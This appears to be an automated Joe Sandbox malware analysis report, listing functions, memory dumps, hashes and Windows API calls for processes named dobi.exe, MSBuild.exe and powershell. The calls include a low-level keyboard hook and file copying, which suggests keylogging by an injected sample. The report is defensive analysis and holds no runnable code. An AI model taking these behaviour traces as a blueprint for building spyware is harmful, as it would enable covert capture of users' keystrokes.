Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 56ca8f9f9075e20f1a7d085aacee8bf198a0ce6884032aaaef0f90618a012552
Instruction ID: e837296c31beb39d9ca9d6518d5f84c585b57c3a2023bb13318e5a4150725436
Opcode Fuzzy Hash: 56ca8f9f9075e20f1a7d085aacee8bf198a0ce6884032aaaef0f90618a012552
Instruction Fuzzy Hash: 7D2179F1310B065BEBB4966A9841B3FFBA69BC6211F24C03AEA0DCB381CD35D9418361

Function 07CF0317 Relevance: 5.0, Strings: 4, Instructions: 41COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF035E
$q, xrefs: 07CF0352
4'q, xrefs: 07CF0373
4'q, xrefs: 07CF037F

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q
API String ID: 0-3199993180
Opcode ID: c29ca2d6b016c687449e9b561599d1fcf801ea911e1edf03622c7d54fe168045
Instruction ID: 3ca3e8e1b3500ab82c90e6e68efd3da9210832a25c6c9311bfca0094128c5e9a
Opcode Fuzzy Hash: c29ca2d6b016c687449e9b561599d1fcf801ea911e1edf03622c7d54fe168045
Instruction Fuzzy Hash: AAF0F6617083575FC72A116628212A5ABB26BC291172A4197DD41DF387CD548D4683AB

Analysis Process: dobi.exePID: 5580, Parent PID: 1516COMMON

Execution Graph

Execution Coverage:	18%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.3%
Total number of Nodes:	132
Total number of Limit Nodes:	6

Executed Functions

Function 00CF446E Relevance: 1.6, APIs: 1, Instructions: 149
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CF43CE: GlobalAlloc.KERNELBASE ref: 00CF4417

NtQuerySystemInformation.NTDLL ref: 00CF44F2

Memory Dump Source

Source File: 00000007.00000002.2023682150.0000000000CF2000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00CF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cf2000_dobi.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: 8c09bd6d8fd5ee20b035233eef33eabb4ca4f48fc73dbce697c040693e972480
Instruction ID: bfb63351c08d130943aee6fc07e75cea2598d7c849c037c2835b1cebde03b797
Opcode Fuzzy Hash: 8c09bd6d8fd5ee20b035233eef33eabb4ca4f48fc73dbce697c040693e972480
Instruction Fuzzy Hash: C451C034618B889FD798EF28C484B6AB7E1FB99345F50196DF689D3260DB74D980CB03

Function 00CF3A7E Relevance: 4.6, APIs: 3, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00CF3AC7

Memory Dump Source

Source File: 00000007.00000002.2023682150.0000000000CF2000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00CF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cf2000_dobi.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8032b0ba991dd03c5fa2c1ec5b4b8d47362134ba77c6104b369a7721eef24fb4
Instruction ID: 861ca2588ef2b3aafa9eea795be15cf0d2927e9cc6a62c3d3f226100643c90c2
Opcode Fuzzy Hash: 8032b0ba991dd03c5fa2c1ec5b4b8d47362134ba77c6104b369a7721eef24fb4
Instruction Fuzzy Hash: 7531B430118B488FDB94EF28C498B6ABBF1FF99345F50496DE699C3260CB75D985CB02

Function 00CF428E Relevance: 3.1, APIs: 2, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00CF42D7
WriteFile.KERNELBASE ref: 00CF4318

Memory Dump Source

Source File: 00000007.00000002.2023682150.0000000000CF2000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00CF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cf2000_dobi.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: f964fc0a9751bcbac317b99878c967633e6b6b80f2f16d1eb3a3cc0f33895600
Instruction ID: b47977ade9fba4230d38a70fd2a9cea2172b00295ac2c4e7fff31df7d0f096c9
Opcode Fuzzy Hash: f964fc0a9751bcbac317b99878c967633e6b6b80f2f16d1eb3a3cc0f33895600
Instruction Fuzzy Hash: 68110730118B488FDB94EF18C489B6ABBF1FB99344F50096DF19AC3260CB35D945CB42

Function 00CF355E Relevance: 1.5, APIs: 1, Instructions: 29
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CF43CE: GlobalAlloc.KERNELBASE ref: 00CF4417

LoadLibraryExW.KERNELBASE ref: 00CF3596

Memory Dump Source

Source File: 00000007.00000002.2023682150.0000000000CF2000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00CF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cf2000_dobi.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: 50faf466d86b928939341df2e7a762949ab380640cffd951318062ffd52d6bab
Instruction ID: 611091327d91bb9ea2cc38d316b7461c271b5507d63b6a477b9b4a66279e6f7d
Opcode Fuzzy Hash: 50faf466d86b928939341df2e7a762949ab380640cffd951318062ffd52d6bab
Instruction Fuzzy Hash: 31F09830518A4C8F8784EF18C449A2ABBE1FBD8315F404A2DB58CD3230C635D944CB42

Function 00CF602E Relevance: 1.5, APIs: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2023682150.0000000000CF2000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00CF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cf2000_dobi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82351e859c8933ee05a3a1643807d11bd9e9d605b5eac0b83267ab98d2030a5
Instruction ID: 34b82aec37ad424e42c1dbb285e5bb319a7a307a556d8d965410b6d9376392e8
Opcode Fuzzy Hash: c82351e859c8933ee05a3a1643807d11bd9e9d605b5eac0b83267ab98d2030a5
Instruction Fuzzy Hash: 8491AD70109788CFD7A4EF28C484B6ABBF1FBA9301F50595EE18AC7261DB75D885CB02

Function 00CF43CE Relevance: 1.3, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE ref: 00CF4417

Memory Dump Source

Source File: 00000007.00000002.2023682150.0000000000CF2000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00CF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cf2000_dobi.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ba1b9466268fe03848d5d9d10af9dd6cf040b6a4df980d2f73a2bd1ec1c171d8
Instruction ID: 90d9a92aaeca463c9e0c2a14425afbf69c4086806db72445ff115b78ea3c7610
Opcode Fuzzy Hash: ba1b9466268fe03848d5d9d10af9dd6cf040b6a4df980d2f73a2bd1ec1c171d8
Instruction Fuzzy Hash: 1DF05F346087488FC784EF28C488A1ABBF1FB99314F50496DE58DD7361D736D985CB02

Analysis Process: MSBuild.exePID: 3664, Parent PID: 6212COMMON

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	96.6%
Signature Coverage:	3.4%
Total number of Nodes:	87
Total number of Limit Nodes:	1

Executed Functions

Function 00E915E0 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

@^#, xrefs: 00E928FC
I0=, xrefs: 00E91F14
*JL6, xrefs: 00E92240
WG#`, xrefs: 00E918E8
:hW`, xrefs: 00E92055
S3., xrefs: 00E926D4

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$I0=$S3.$WG#`
API String ID: 0-3669199882
Opcode ID: d9b66e185387ef52f27f117cbfec1877838a6526e28061de072861cd006aac99
Instruction ID: 588630234bd9ed79f7c8f09390516622872799981d5aa61f42833b3a2ce71469
Opcode Fuzzy Hash: d9b66e185387ef52f27f117cbfec1877838a6526e28061de072861cd006aac99
Instruction Fuzzy Hash: 7303D478A0522ACFCB54CF68D980ADAB7F5FB49304F1495AAD819E7355E730AE81CF40

Function 00E9D110 Relevance: 6.7, Strings: 4, Instructions: 1683COMMON

Download Yara Rule

Strings

7.LL, xrefs: 00E9DCE0
M2*r, xrefs: 00E9E6D0
^<oN, xrefs: 00E9E479
^L,j, xrefs: 00E9DA16

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN$^L,j
API String ID: 0-4087586809
Opcode ID: e9176a8d616cda70b69594540690e0b201350fc5c7f6fdf2acfec8adcbcb1c19
Instruction ID: 1d035e2d1f18e6e0bc0862674a1b1696fc166d6682d0361176cde34a98719bd9
Opcode Fuzzy Hash: e9176a8d616cda70b69594540690e0b201350fc5c7f6fdf2acfec8adcbcb1c19
Instruction Fuzzy Hash: F903A278E0522A8FCB64CF68C984A9DBBF5FB49304F1495AAD419E7355E730AE81CF40

Function 00E915C3 Relevance: 6.3, Strings: 4, Instructions: 1254COMMON

Download Yara Rule

Strings

@^#, xrefs: 00E928FC
*JL6, xrefs: 00E92240
:hW`, xrefs: 00E92055
S3., xrefs: 00E926D4

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$S3.
API String ID: 0-1394080836
Opcode ID: b164aaa174898ef0f534fef545d0e2b75ac1bbca207ecbcf00c7996067365104
Instruction ID: 4f21ff539192f7e23696ba0dcf9fc24b06ef92863c5f07a24287e5f5991d48f5
Opcode Fuzzy Hash: b164aaa174898ef0f534fef545d0e2b75ac1bbca207ecbcf00c7996067365104
Instruction Fuzzy Hash: AAD2C578A0122A8FCB54CF68D980ADDB7F5FB49304F1495AAD419E7355E730AE85CF80

Function 00E9D0F3 Relevance: 5.0, Strings: 3, Instructions: 1227COMMON

Download Yara Rule

Strings

7.LL, xrefs: 00E9DCE0
M2*r, xrefs: 00E9E6D0
^<oN, xrefs: 00E9E479

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN
API String ID: 0-2101644819
Opcode ID: 33c4c60272d162cc07bb6dc3c1cedfafb8aeb2363ddc642c12901f0ad0327cac
Instruction ID: 658c6615b1d8332bda289c7d268072c1360dfaf0d177b5c461211b1b66517d3d
Opcode Fuzzy Hash: 33c4c60272d162cc07bb6dc3c1cedfafb8aeb2363ddc642c12901f0ad0327cac
Instruction Fuzzy Hash: F6D29374E0122A8FCB64CF68D984A9DBBF5FB49304F1585AAD419EB355E730AE81CF40

Function 00E91070 Relevance: 4.1, Strings: 3, Instructions: 353
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5xID, xrefs: 00E91175
35OG, xrefs: 00E91467
]/, xrefs: 00E913E1

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: 35OG$5xID$]/
API String ID: 0-1761396499
Opcode ID: 214fa80bd8e327a2609bb0ef8fe8752e29cc12a3f6f6517ab23c0ea0cd808ee1
Instruction ID: 265e17535085ae1678c85e5895e75d4170e84cf91c9a33a5b2e2e775c69943f2
Opcode Fuzzy Hash: 214fa80bd8e327a2609bb0ef8fe8752e29cc12a3f6f6517ab23c0ea0cd808ee1
Instruction Fuzzy Hash: B4029178E002199FDB50DFA9D980A9DBBF1FF48304F1181AAD809EB355EB34AA45CF51

Function 00E9C880 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

\Lg, xrefs: 00E9CDC5

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: f51964049d47546af9b96f05ecd139e92f6de7748542dd38e5785fdb0871e3bc
Instruction ID: 2fdd74c5a79cbcea24ba6405171e9510781f1502cb4c818f74160e4b7c334995
Opcode Fuzzy Hash: f51964049d47546af9b96f05ecd139e92f6de7748542dd38e5785fdb0871e3bc
Instruction Fuzzy Hash: 1342BF78E01219CFDB54DF68D980A9DBBF6FB49300F2491AAD409EB355E730AA85CF50

Function 00E9C843 Relevance: 1.7, Strings: 1, Instructions: 403COMMON

Download Yara Rule

Strings

\Lg, xrefs: 00E9CDC5

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: 92b128ae50713084b705d81259c19fb74d762b154eac0f176e3e8106998d34d3
Instruction ID: f4d4dd31d2b819ccbda0e88754e7ff8d4fe6d5cad1694a82c650739cc8cc55a0
Opcode Fuzzy Hash: 92b128ae50713084b705d81259c19fb74d762b154eac0f176e3e8106998d34d3
Instruction Fuzzy Hash: DB129F78E01219CFDB54DFA9D980A9DBBF2FF49304F1481AAD409AB355E730AA85CF50

Function 06AB28C8 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,00000000,?,?), ref: 06ABD633

Memory Dump Source

Source File: 0000000D.00000002.3299278610.0000000006AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ab0000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: bbaae39512ba27750fbf801674b92c62816d7d79dfc3c53f8ea23546b7c72dfc
Instruction ID: a1d6b07fcd85a9d87aa2666083497b85f978d9410aca93f5c13da96299f3507d
Opcode Fuzzy Hash: bbaae39512ba27750fbf801674b92c62816d7d79dfc3c53f8ea23546b7c72dfc
Instruction Fuzzy Hash: 18210475D002099FDB64EF9AC844BEEBBF5EF88310F10842AE419A7250CB75A941CFA5

Function 00E91060 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

5xID, xrefs: 00E91175

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: 5xID
API String ID: 0-3965296546
Opcode ID: 9dddb85197881d1ead04429bfc7b28fc49dedbf5e3078f9a5a9824be9067d18d
Instruction ID: cb53807135eb6d2746864c0826ac928610b00860af52252dd1fd96fb0b37a4c7
Opcode Fuzzy Hash: 9dddb85197881d1ead04429bfc7b28fc49dedbf5e3078f9a5a9824be9067d18d
Instruction Fuzzy Hash: 08E1B478E002099FDB54DFA9D580A9EBBF1FF88304F1181AAD409EB365DB34AA45CF51

Function 00E9B01F Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

rCI, xrefs: 00E9BA4A

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: rCI
API String ID: 0-4128173682
Opcode ID: 09c08bdabe8f66d62c56d4145ab9dc6d7feff09fd4dc1e6eb79816774bebc4da
Instruction ID: 14f3157720831f4c3c195adf8390b1f7eef23df6ce3b2a7eef124e731ea899fc
Opcode Fuzzy Hash: 09c08bdabe8f66d62c56d4145ab9dc6d7feff09fd4dc1e6eb79816774bebc4da
Instruction Fuzzy Hash: FB914574E04219DFDB14CFA8E980ADEBBF6EB89300F1492AAE509E7315D7309E418F50

Function 06ABE79D Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3299278610.0000000006AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ab0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b624e19423e43013c4b00e705b6ff2f22c0fbec5d51f0ab4aaa7e88cb58a7b89
Instruction ID: fd6ff28c61a12c5b2988ef63b7ca9b131d23a83af87d96e8be03c0eb63d9a9a4
Opcode Fuzzy Hash: b624e19423e43013c4b00e705b6ff2f22c0fbec5d51f0ab4aaa7e88cb58a7b89
Instruction Fuzzy Hash: 2402F274E002198FDB60DFA8D984BDDBBB6BF89340F1492A5E409E7396D730A981CF54

Function 06ABEDA1 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3299278610.0000000006AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ab0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539634c19a07781e2694068eb1695df3d3cc44a48dd2443f3673e8e55b3e0592
Instruction ID: 404430a3673b47d2b7001ff703b4d4212ca1f9a8d77066c1d03abba7a32b483f
Opcode Fuzzy Hash: 539634c19a07781e2694068eb1695df3d3cc44a48dd2443f3673e8e55b3e0592
Instruction Fuzzy Hash: A0F0D470E045049BDB40EF68D4846EDFBBABF8A350F04AA10D01AF7386D7B4D8818A69

Function 00E9FD38 Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

xq, xrefs: 00E9FDA5
xq, xrefs: 00E9FDC9

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: xq$xq
API String ID: 0-2333185093
Opcode ID: 106848dedf6328473f4ab5795e16ea1b9867c9e3905eaf6b05c4dba50412d326
Instruction ID: c9e16305165075c1ce1fbb209a4cf6f89d1393903e822c5cae563976560cde96
Opcode Fuzzy Hash: 106848dedf6328473f4ab5795e16ea1b9867c9e3905eaf6b05c4dba50412d326
Instruction Fuzzy Hash: FD415D34A103008FDB25EB35E855A7E7BA2FF802057109A29E0879F759DF75A90BCBD1

Function 00E9FD08 Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

xq, xrefs: 00E9FDA5
xq, xrefs: 00E9FDC9

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: xq$xq
API String ID: 0-2333185093
Opcode ID: 7b278b7f04ec15f184f67d579c73bfc68a6d3bde83271b6316dca065bd4d2ced
Instruction ID: 08a67ca232d0d4b59a2e02ba5a553bf331102b0fea69af681f99babdb071b9e4
Opcode Fuzzy Hash: 7b278b7f04ec15f184f67d579c73bfc68a6d3bde83271b6316dca065bd4d2ced
Instruction Fuzzy Hash: E6418034A003008FD725EB35E855AAE7FA2FF802057148A69D0868F655DF75A90BCBD1

Function 06AA85E5 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06AA8702

Memory Dump Source

Source File: 0000000D.00000002.3299006030.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6aa0000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ab0c3ef32d268d1b4c4f2d2fb15623d5068c4c19c5bd02501ac5feca137d2b1a
Instruction ID: 461b20e42b2846e31d03c42f6461e4f45e38c46eb9b25b5aabcb7068d9d77d0e
Opcode Fuzzy Hash: ab0c3ef32d268d1b4c4f2d2fb15623d5068c4c19c5bd02501ac5feca137d2b1a
Instruction Fuzzy Hash: B551D0B5D10349AFDB14DFA9D880ADEFFB5BF48310F24812AE819AB250D775A845CF90

Function 06AA85F0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06AA8702

Memory Dump Source

Source File: 0000000D.00000002.3299006030.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6aa0000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 903c58d4dd686f2197a460bfa3e0c13800218b5ffe3f62dc842ea301de22f88f
Instruction ID: cb5f44ba33cc55d75a8cb1d9c0493015210093ea697e4f4594a325352772f9c4
Opcode Fuzzy Hash: 903c58d4dd686f2197a460bfa3e0c13800218b5ffe3f62dc842ea301de22f88f
Instruction Fuzzy Hash: 5341BDB5D103499FDB14DF9AC884ADEBBB5BF48310F24822AE819AB210D775A845CF90

Function 06AA74FC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06AAAC71

Memory Dump Source

Source File: 0000000D.00000002.3299006030.0000000006AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6aa0000_MSBuild.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 422874bd191d205c70b0c59877fa91c837134d03df6b65246b25e57cfeab0523
Instruction ID: b0e254da2b574a19224585b7b65d81bcea80057a9f1d5565ae2ef8471895a8a1
Opcode Fuzzy Hash: 422874bd191d205c70b0c59877fa91c837134d03df6b65246b25e57cfeab0523
Instruction Fuzzy Hash: B54129B9D003098FDB54DF99C888AAABBF5FF88314F24C459D519AB321D775A841CFA0

Function 06AB2860 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,00000000,?,?), ref: 06ABD633

Memory Dump Source

Source File: 0000000D.00000002.3299278610.0000000006AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ab0000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: b47ba26cd52b1bf205416a16da6dc14e95dcbcb0136b49a46ca090bebb0f1910
Instruction ID: fbc69667888c454d5cb9cb328c0389071401482a7725bf42a24653a29b72ec1d
Opcode Fuzzy Hash: b47ba26cd52b1bf205416a16da6dc14e95dcbcb0136b49a46ca090bebb0f1910
Instruction Fuzzy Hash: 07319E35C053989FDB11EFA9D850BDEBFF4EF45320F04805AE454AB252C6349949CBA6

Function 069364F8 Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 06936599

Memory Dump Source

Source File: 0000000D.00000002.3298694582.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6930000_MSBuild.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 2c03599cae6be2c6c04536c473060d8b44337760a66dbe3f2377cd09b41653eb
Instruction ID: adf50e0feec8f721dc18076c3e5558fe6e2aad332c57864a9ff355e8cdf14752
Opcode Fuzzy Hash: 2c03599cae6be2c6c04536c473060d8b44337760a66dbe3f2377cd09b41653eb
Instruction Fuzzy Hash: 9E315CB5C013199FCB50CFAAD885BDEFBF4AF48310F15816AE818E7245D7349A40CBA4

Function 06936500 Relevance: 1.6, APIs: 1, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 06936599

Memory Dump Source

Source File: 0000000D.00000002.3298694582.0000000006930000.00000040.00000800.00020000.00000000.sdmp, Offset: 06930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6930000_MSBuild.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 391505f1f2b82d2c8348b468b0f2e38b42632ab0486a6af2550593a41b7eb594
Instruction ID: b4ac954ea3897826a68e86430c2f6dc8045c65c27777f3f073be779ddfecc85c
Opcode Fuzzy Hash: 391505f1f2b82d2c8348b468b0f2e38b42632ab0486a6af2550593a41b7eb594
Instruction Fuzzy Hash: 5D2139B5C013199FCB50CF9AD484BDEFBF5AF48310F15816AE818EB245D7349A41CBA4

Function 06ABD5B0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,00000000,?,?), ref: 06ABD633

Memory Dump Source

Source File: 0000000D.00000002.3299278610.0000000006AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ab0000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 69bc1a12302a7148d3ea4afa3124f55ece59e762e83e75de33a52172743185a8
Instruction ID: 036377cedcbf5eedc50541173520cddf50127b027166d11cf7f9a7a31bba9025
Opcode Fuzzy Hash: 69bc1a12302a7148d3ea4afa3124f55ece59e762e83e75de33a52172743185a8
Instruction Fuzzy Hash: 56211A75D002099FDB24DFAAD845BDEBBF5FF88320F108419E419A7250CB75A941CFA5

Function 00E9F039 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

^, xrefs: 00E9F067

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: fda42180ece02140968223a3241647906cdd85b884af6ac0fea041c03bb9d0a8
Instruction ID: 22ecd8a8dfe92a2e91c266b3f64b10bc647c2cdd05a171a402f594f27ed2b230
Opcode Fuzzy Hash: fda42180ece02140968223a3241647906cdd85b884af6ac0fea041c03bb9d0a8
Instruction Fuzzy Hash: EEE0EDB0D093449FCB00EB70A81A1ADBBB0AF06305F10D4AAC805D32A2E7704A42CB91

Function 00E9F564 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1b8a7e89875eaffde8e2763c9fba08d8e9cab591bfd22a2a1fee3235e0ced12
Instruction ID: e3d6d171bd5a8a390c2b0f75a902ae30c43fe7dcb1748d1aa43166c89df653e5
Opcode Fuzzy Hash: a1b8a7e89875eaffde8e2763c9fba08d8e9cab591bfd22a2a1fee3235e0ced12
Instruction Fuzzy Hash: D8B1CB74E012088FDB14DFA9D988AADBBF2FF88310F248169E419AB395D734A945CF54

Function 00E9F568 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3260164113.0000000000E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e90000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 753cf3a3bc47565f2e7d62da9f2a05397da9319bd13ab5a43105194b1d9d8dd5
